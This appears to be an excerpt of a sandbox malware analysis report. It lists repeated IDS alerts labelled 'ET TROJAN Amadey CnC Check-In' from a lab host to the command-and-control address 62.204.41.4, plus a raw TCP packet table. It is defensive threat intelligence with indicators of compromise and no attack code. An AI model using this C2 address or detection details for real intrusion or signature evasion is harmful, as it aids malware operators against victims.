192.168.2.362.204.41.449890802027700 02/08/23-21:32:08.343447	TCP	2027700	ET TROJAN Amadey CnC Check-In	49890	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449703802027700 02/08/23-21:31:09.854969	TCP	2027700	ET TROJAN Amadey CnC Check-In	49703	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449774802027700 02/08/23-21:31:37.538022	TCP	2027700	ET TROJAN Amadey CnC Check-In	49774	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449872802027700 02/08/23-21:32:04.015502	TCP	2027700	ET TROJAN Amadey CnC Check-In	49872	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449801802027700 02/08/23-21:31:44.140311	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449859802027700 02/08/23-21:32:00.842850	TCP	2027700	ET TROJAN Amadey CnC Check-In	49859	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449957802027700 02/08/23-21:32:27.889281	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449779802027700 02/08/23-21:31:38.749643	TCP	2027700	ET TROJAN Amadey CnC Check-In	49779	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449877802027700 02/08/23-21:32:05.223019	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449952802027700 02/08/23-21:32:26.521263	TCP	2027700	ET TROJAN Amadey CnC Check-In	49952	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449756802027700 02/08/23-21:31:30.104619	TCP	2027700	ET TROJAN Amadey CnC Check-In	49756	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449816802027700 02/08/23-21:31:47.785160	TCP	2027700	ET TROJAN Amadey CnC Check-In	49816	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449929802027700 02/08/23-21:32:20.553590	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449834802027700 02/08/23-21:31:52.577365	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449741802027700 02/08/23-21:31:26.473669	TCP	2027700	ET TROJAN Amadey CnC Check-In	49741	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449869802027700 02/08/23-21:32:03.296837	TCP	2027700	ET TROJAN Amadey CnC Check-In	49869	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449960802027700 02/08/23-21:32:28.668791	TCP	2027700	ET TROJAN Amadey CnC Check-In	49960	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449782802027700 02/08/23-21:31:39.471649	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449764802027700 02/08/23-21:31:32.057321	TCP	2027700	ET TROJAN Amadey CnC Check-In	49764	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449811802027700 02/08/23-21:31:46.576529	TCP	2027700	ET TROJAN Amadey CnC Check-In	49811	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449887802027700 02/08/23-21:32:07.638708	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449924802027700 02/08/23-21:32:19.271281	TCP	2027700	ET TROJAN Amadey CnC Check-In	49924	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449769802027700 02/08/23-21:31:34.756431	TCP	2027700	ET TROJAN Amadey CnC Check-In	49769	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449906802027700 02/08/23-21:32:12.698779	TCP	2027700	ET TROJAN Amadey CnC Check-In	49906	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449728802027700 02/08/23-21:31:23.125330	TCP	2027700	ET TROJAN Amadey CnC Check-In	49728	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449882802027700 02/08/23-21:32:06.440098	TCP	2027700	ET TROJAN Amadey CnC Check-In	49882	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449947802027700 02/08/23-21:32:25.015743	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449965802027700 02/08/23-21:32:30.025255	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449904802027700 02/08/23-21:32:12.046729	TCP	2027700	ET TROJAN Amadey CnC Check-In	49904	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449711802027700 02/08/23-21:31:11.882854	TCP	2027700	ET TROJAN Amadey CnC Check-In	49711	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449867802027700 02/08/23-21:32:02.794106	TCP	2027700	ET TROJAN Amadey CnC Check-In	49867	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449864802027700 02/08/23-21:32:02.060206	TCP	2027700	ET TROJAN Amadey CnC Check-In	49864	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449962802027700 02/08/23-21:32:29.257081	TCP	2027700	ET TROJAN Amadey CnC Check-In	49962	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449705802027700 02/08/23-21:31:10.447077	TCP	2027700	ET TROJAN Amadey CnC Check-In	49705	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449818802027700 02/08/23-21:31:48.341113	TCP	2027700	ET TROJAN Amadey CnC Check-In	49818	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449959802027700 02/08/23-21:32:28.422447	TCP	2027700	ET TROJAN Amadey CnC Check-In	49959	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449870802027700 02/08/23-21:32:03.546238	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449726802027700 02/08/23-21:31:22.634931	TCP	2027700	ET TROJAN Amadey CnC Check-In	49726	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449821802027700 02/08/23-21:31:49.045771	TCP	2027700	ET TROJAN Amadey CnC Check-In	49821	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449824802027700 02/08/23-21:31:49.780553	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449754802027700 02/08/23-21:31:29.621347	TCP	2027700	ET TROJAN Amadey CnC Check-In	49754	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449751802027700 02/08/23-21:31:28.918585	TCP	2027700	ET TROJAN Amadey CnC Check-In	49751	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449895802027700 02/08/23-21:32:09.563402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449934802027700 02/08/23-21:32:21.786854	TCP	2027700	ET TROJAN Amadey CnC Check-In	49934	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449937802027700 02/08/23-21:32:22.552019	TCP	2027700	ET TROJAN Amadey CnC Check-In	49937	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449892802027700 02/08/23-21:32:08.821841	TCP	2027700	ET TROJAN Amadey CnC Check-In	49892	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449839802027700 02/08/23-21:31:55.963337	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449797802027700 02/08/23-21:31:43.170405	TCP	2027700	ET TROJAN Amadey CnC Check-In	49797	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449854802027700 02/08/23-21:31:59.659125	TCP	2027700	ET TROJAN Amadey CnC Check-In	49854	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449721802027700 02/08/23-21:31:17.546135	TCP	2027700	ET TROJAN Amadey CnC Check-In	49721	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449940802027700 02/08/23-21:32:23.296032	TCP	2027700	ET TROJAN Amadey CnC Check-In	49940	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449889802027700 02/08/23-21:32:08.107631	TCP	2027700	ET TROJAN Amadey CnC Check-In	49889	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449718802027700 02/08/23-21:31:15.921504	TCP	2027700	ET TROJAN Amadey CnC Check-In	49718	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449759802027700 02/08/23-21:31:30.808118	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449932802027700 02/08/23-21:32:21.312523	TCP	2027700	ET TROJAN Amadey CnC Check-In	49932	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449926802027700 02/08/23-21:32:19.767739	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449713802027700 02/08/23-21:31:12.783643	TCP	2027700	ET TROJAN Amadey CnC Check-In	49713	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449897802027700 02/08/23-21:32:10.032773	TCP	2027700	ET TROJAN Amadey CnC Check-In	49897	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449967802027700 02/08/23-21:32:30.528686	TCP	2027700	ET TROJAN Amadey CnC Check-In	49967	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449790802027700 02/08/23-21:31:41.465182	TCP	2027700	ET TROJAN Amadey CnC Check-In	49790	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449862802027700 02/08/23-21:32:01.593618	TCP	2027700	ET TROJAN Amadey CnC Check-In	49862	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449789802027700 02/08/23-21:31:41.224340	TCP	2027700	ET TROJAN Amadey CnC Check-In	49789	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449748802027700 02/08/23-21:31:28.171578	TCP	2027700	ET TROJAN Amadey CnC Check-In	49748	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449784802027700 02/08/23-21:31:39.982751	TCP	2027700	ET TROJAN Amadey CnC Check-In	49784	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449826802027700 02/08/23-21:31:50.292455	TCP	2027700	ET TROJAN Amadey CnC Check-In	49826	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449909802027700 02/08/23-21:32:14.933906	TCP	2027700	ET TROJAN Amadey CnC Check-In	49909	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449832802027700 02/08/23-21:31:51.751305	TCP	2027700	ET TROJAN Amadey CnC Check-In	49832	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449743802027700 02/08/23-21:31:26.963197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49743	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449930802027700 02/08/23-21:32:20.796642	TCP	2027700	ET TROJAN Amadey CnC Check-In	49930	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449838802027700 02/08/23-21:31:54.373776	TCP	2027700	ET TROJAN Amadey CnC Check-In	49838	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449936802027700 02/08/23-21:32:22.307700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49936	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449927802027700 02/08/23-21:32:20.024415	TCP	2027700	ET TROJAN Amadey CnC Check-In	49927	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449829802027700 02/08/23-21:31:51.027291	TCP	2027700	ET TROJAN Amadey CnC Check-In	49829	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449945802027700 02/08/23-21:32:24.485227	TCP	2027700	ET TROJAN Amadey CnC Check-In	49945	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449856802027700 02/08/23-21:32:00.132402	TCP	2027700	ET TROJAN Amadey CnC Check-In	49856	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449749802027700 02/08/23-21:31:28.419020	TCP	2027700	ET TROJAN Amadey CnC Check-In	49749	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449847802027700 02/08/23-21:31:57.967039	TCP	2027700	ET TROJAN Amadey CnC Check-In	49847	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449758802027700 02/08/23-21:31:30.574106	TCP	2027700	ET TROJAN Amadey CnC Check-In	49758	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449786802027700 02/08/23-21:31:40.457663	TCP	2027700	ET TROJAN Amadey CnC Check-In	49786	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449767802027700 02/08/23-21:31:33.408799	TCP	2027700	ET TROJAN Amadey CnC Check-In	49767	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449875802027700 02/08/23-21:32:04.746050	TCP	2027700	ET TROJAN Amadey CnC Check-In	49875	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449780802027700 02/08/23-21:31:38.981621	TCP	2027700	ET TROJAN Amadey CnC Check-In	49780	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449710802027700 02/08/23-21:31:11.651177	TCP	2027700	ET TROJAN Amadey CnC Check-In	49710	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449860802027700 02/08/23-21:32:01.115035	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449911802027700 02/08/23-21:32:16.121219	TCP	2027700	ET TROJAN Amadey CnC Check-In	49911	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449813802027700 02/08/23-21:31:47.049281	TCP	2027700	ET TROJAN Amadey CnC Check-In	49813	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449902802027700 02/08/23-21:32:11.276709	TCP	2027700	ET TROJAN Amadey CnC Check-In	49902	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449771802027700 02/08/23-21:31:36.658549	TCP	2027700	ET TROJAN Amadey CnC Check-In	49771	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449822802027700 02/08/23-21:31:49.295197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49822	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449733802027700 02/08/23-21:31:24.349655	TCP	2027700	ET TROJAN Amadey CnC Check-In	49733	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449946802027700 02/08/23-21:32:24.773081	TCP	2027700	ET TROJAN Amadey CnC Check-In	49946	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449857802027700 02/08/23-21:32:00.376328	TCP	2027700	ET TROJAN Amadey CnC Check-In	49857	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449898802027700 02/08/23-21:32:10.281507	TCP	2027700	ET TROJAN Amadey CnC Check-In	49898	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449768802027700 02/08/23-21:31:33.720032	TCP	2027700	ET TROJAN Amadey CnC Check-In	49768	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449964802027700 02/08/23-21:32:29.755518	TCP	2027700	ET TROJAN Amadey CnC Check-In	49964	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449739802027700 02/08/23-21:31:25.862579	TCP	2027700	ET TROJAN Amadey CnC Check-In	49739	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449828802027700 02/08/23-21:31:50.782978	TCP	2027700	ET TROJAN Amadey CnC Check-In	49828	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449917802027700 02/08/23-21:32:17.561486	TCP	2027700	ET TROJAN Amadey CnC Check-In	49917	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449894802027700 02/08/23-21:32:09.316597	TCP	2027700	ET TROJAN Amadey CnC Check-In	49894	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449918802027700 02/08/23-21:32:17.798708	TCP	2027700	ET TROJAN Amadey CnC Check-In	49918	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449770802027700 02/08/23-21:31:35.698493	TCP	2027700	ET TROJAN Amadey CnC Check-In	49770	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449787802027700 02/08/23-21:31:40.714503	TCP	2027700	ET TROJAN Amadey CnC Check-In	49787	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449752802027700 02/08/23-21:31:29.152515	TCP	2027700	ET TROJAN Amadey CnC Check-In	49752	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449841802027700 02/08/23-21:31:56.501984	TCP	2027700	ET TROJAN Amadey CnC Check-In	49841	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449901802027700 02/08/23-21:32:11.021221	TCP	2027700	ET TROJAN Amadey CnC Check-In	49901	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449968802027700 02/08/23-21:32:30.770420	TCP	2027700	ET TROJAN Amadey CnC Check-In	49968	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449806802027700 02/08/23-21:31:45.331321	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449812802027700 02/08/23-21:31:46.808504	TCP	2027700	ET TROJAN Amadey CnC Check-In	49812	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449714802027700 02/08/23-21:31:13.211259	TCP	2027700	ET TROJAN Amadey CnC Check-In	49714	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449803802027700 02/08/23-21:31:44.620668	TCP	2027700	ET TROJAN Amadey CnC Check-In	49803	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449879802027700 02/08/23-21:32:05.692639	TCP	2027700	ET TROJAN Amadey CnC Check-In	49879	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449708802027700 02/08/23-21:31:11.181341	TCP	2027700	ET TROJAN Amadey CnC Check-In	49708	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449888802027700 02/08/23-21:32:07.875066	TCP	2027700	ET TROJAN Amadey CnC Check-In	49888	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449717802027700 02/08/23-21:31:14.890076	TCP	2027700	ET TROJAN Amadey CnC Check-In	49717	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449799802027700 02/08/23-21:31:43.671152	TCP	2027700	ET TROJAN Amadey CnC Check-In	49799	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449742802027700 02/08/23-21:31:26.717821	TCP	2027700	ET TROJAN Amadey CnC Check-In	49742	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449831802027700 02/08/23-21:31:51.495547	TCP	2027700	ET TROJAN Amadey CnC Check-In	49831	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449825802027700 02/08/23-21:31:50.017874	TCP	2027700	ET TROJAN Amadey CnC Check-In	49825	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449949802027700 02/08/23-21:32:25.497713	TCP	2027700	ET TROJAN Amadey CnC Check-In	49949	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449920802027700 02/08/23-21:32:18.281072	TCP	2027700	ET TROJAN Amadey CnC Check-In	49920	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449955802027700 02/08/23-21:32:27.359900	TCP	2027700	ET TROJAN Amadey CnC Check-In	49955	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449701802027700 02/08/23-21:31:09.596330	TCP	2027700	ET TROJAN Amadey CnC Check-In	49701	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449914802027700 02/08/23-21:32:16.837700	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449866802027700 02/08/23-21:32:02.560496	TCP	2027700	ET TROJAN Amadey CnC Check-In	49866	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449736802027700 02/08/23-21:31:25.096773	TCP	2027700	ET TROJAN Amadey CnC Check-In	49736	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449908802027700 02/08/23-21:32:14.246091	TCP	2027700	ET TROJAN Amadey CnC Check-In	49908	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449777802027700 02/08/23-21:31:38.278119	TCP	2027700	ET TROJAN Amadey CnC Check-In	49777	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449819802027700 02/08/23-21:31:48.579157	TCP	2027700	ET TROJAN Amadey CnC Check-In	49819	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449796802027700 02/08/23-21:31:42.929791	TCP	2027700	ET TROJAN Amadey CnC Check-In	49796	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449761802027700 02/08/23-21:31:31.280569	TCP	2027700	ET TROJAN Amadey CnC Check-In	49761	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449891802027700 02/08/23-21:32:08.577608	TCP	2027700	ET TROJAN Amadey CnC Check-In	49891	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449885802027700 02/08/23-21:32:07.169004	TCP	2027700	ET TROJAN Amadey CnC Check-In	49885	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449720802027700 02/08/23-21:31:17.276374	TCP	2027700	ET TROJAN Amadey CnC Check-In	49720	80	192.168.2.3	62.204.41.4
192.168.2.362.204.41.449850802027700 02/08/23-21:31:58.686515	TCP	2027700	ET TROJAN Amadey CnC Check-In	49850	80	192.168.2.3	62.204.41.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 8, 2023 21:31:09.521332026 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.521858931 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.582285881 CET	80	49702	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.582480907 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.583008051 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.583154917 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.595885992 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.596329927 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.656325102 CET	80	49702	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.656357050 CET	80	49702	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.656446934 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.658050060 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.661412954 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.661498070 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.718036890 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779632092 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779687881 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779712915 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779735088 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779755116 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779783964 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779795885 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779819012 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779834986 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779865026 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779867887 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779894114 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779896021 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779917955 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779922962 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779942036 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779947996 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779957056 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.779970884 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.779988050 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.780010939 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.780762911 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.840359926 CET	80	49702	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841473103 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841496944 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841516018 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841538906 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841564894 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841568947 CET	49702	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.841588974 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841593981 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.841613054 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841636896 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.841640949 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841664076 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841681957 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.841691017 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.841713905 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.841730118 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.842067003 CET	80	49703	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.842156887 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.854969025 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903326035 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903367043 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903388023 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903402090 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903419971 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903418064 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903434992 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903459072 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903460979 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903484106 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903503895 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903512955 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903527975 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903547049 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903549910 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.903578043 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.903611898 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.916412115 CET	80	49703	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.918930054 CET	80	49703	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.919075012 CET	49703	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.965027094 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965059042 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965080976 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965101004 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965121031 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965141058 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965161085 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965182066 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965200901 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965219975 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965226889 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.965240002 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:09.965274096 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:09.965296030 CET	49701	80	192.168.2.3	62.204.41.4
Feb 8, 2023 21:31:10.027317047 CET	80	49701	62.204.41.4	192.168.2.3
Feb 8, 2023 21:31:10.027355909 CET	80	49701	62.204.41.4	192.168.2.3
